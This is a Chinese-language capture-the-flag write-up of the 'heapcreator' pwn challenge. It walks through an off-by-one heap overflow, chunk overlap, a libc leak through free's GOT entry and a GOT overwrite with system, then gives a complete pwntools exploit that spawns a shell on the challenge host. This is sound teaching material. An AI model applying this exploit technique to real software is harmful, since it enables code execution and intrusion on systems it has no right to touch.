啊啊啊,搞了一早上,终于终于搞明白了,,,
题目链接:https://buuoj.cn/challenges#hitcontraining_heapcreator
ida简单看一下
创建堆
创建的时候,每次都会先创建0x10的heaparray,然后再创建堆
编辑
对比建堆,可以看到size大了一个
打印
删除
程序基本功能就这样了
因为edit的时候可以多写入一个字节,存在off-by-one,我们可以通过溢出覆盖下一个字节,为了覆盖到下一个字节的size位,因为程序存在复用,即如果都inuse的话,上一个chunk可以使用到下一个chunk的prev_size,那么我们再溢出,就可以到size位了。
步骤:
(1)我们是首先申请了0x18字节(实际就给了0x10+下一个chunk的prev_size)
(2)然后再申请0x10
(3)edit第一个chunk,并且输入‘/bin/sh\x00’,通过栈溢出,将第二个chunk的size设置为0x41【解释1】
(4)free掉第二个chunk
(5)重新申请0x30的chunk大小【解释2】
(6)将free_got的地址输入chunk,并且打印出来
(7)计算出基地址、system地址
(8)覆盖free_got表为system地址
(9)删除第一个堆块即可
这里学习的时候,主要遇到了两个问题,就是后面标注的两个解释,大小问什么是0x41,重新申请里面,为什么要先有p(0)*4
接下来将逐一讲解
首先申请两个堆块
create(0x18,"dada") # 0
create(0x10,"ddaa") # 1
edit后
edit(0, "/bin/sh\x00" +"a"*0x10 + "\x41")
8字节 0x10字节 溢出到size
delete(1)
释放申请的堆块
可以看到,同时释放了两个chunk,大小分别为0x40和0x20
一个是heaparray[1]修改成的0x40,另一个是chunk1,被heaparray[1]覆盖到的chunk
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got)) #1
重新申请堆块,最重要的一块,重新申请的堆块大小为0x30,也就是我们之前释放的0x41,这样子,就成功的将heaparray和chunk换了位置,,,
我们知道heaparray的第二个放的是函数指针,,那么如果我们申请到的地址被系统认为是heaparray,让我们在chunk里面布置上的地址就会被认为是函数地址,会去执行,我们也就可以进行一系列操作了
因为heaparray的大小是0x10,所以会去链表里找被释放有没有符合大小的,因为有,所以会把之前的chunk给他,而现在要的chunk大小是0x30,会把之前更改后释放的0x41的heaparray的地址给他们,成功实现互换,,,
所以,我们要把数据放入0x1bfe300的后面八个字节里面,并且在前面八个字节放上大小,,,就构造好了,可以泄漏地址,写入地址,,随便走
完整的exp如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwnpwnpwn import *
from pwn import *
host = "training.pwnable.tw"
port = 11013
#host = "10.211.55.28"
#port = 8888
r = remote(host,port)
def create(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit(idx,content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)
def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
free_got = 0x602018
create(0x18,"dada") # 0
create(0x10,"ddaa") # 1
edit(0, "/bin/sh\x00" +"a"*0x10 + "\x41")
delete(1)
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got)) #1
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8,"\x00"))
libc = free_addr - 0x83940
print "libc:",hex(libc)
system = libc + 0x45390
edit(1,p64(system))
delete(0)
r.interactive()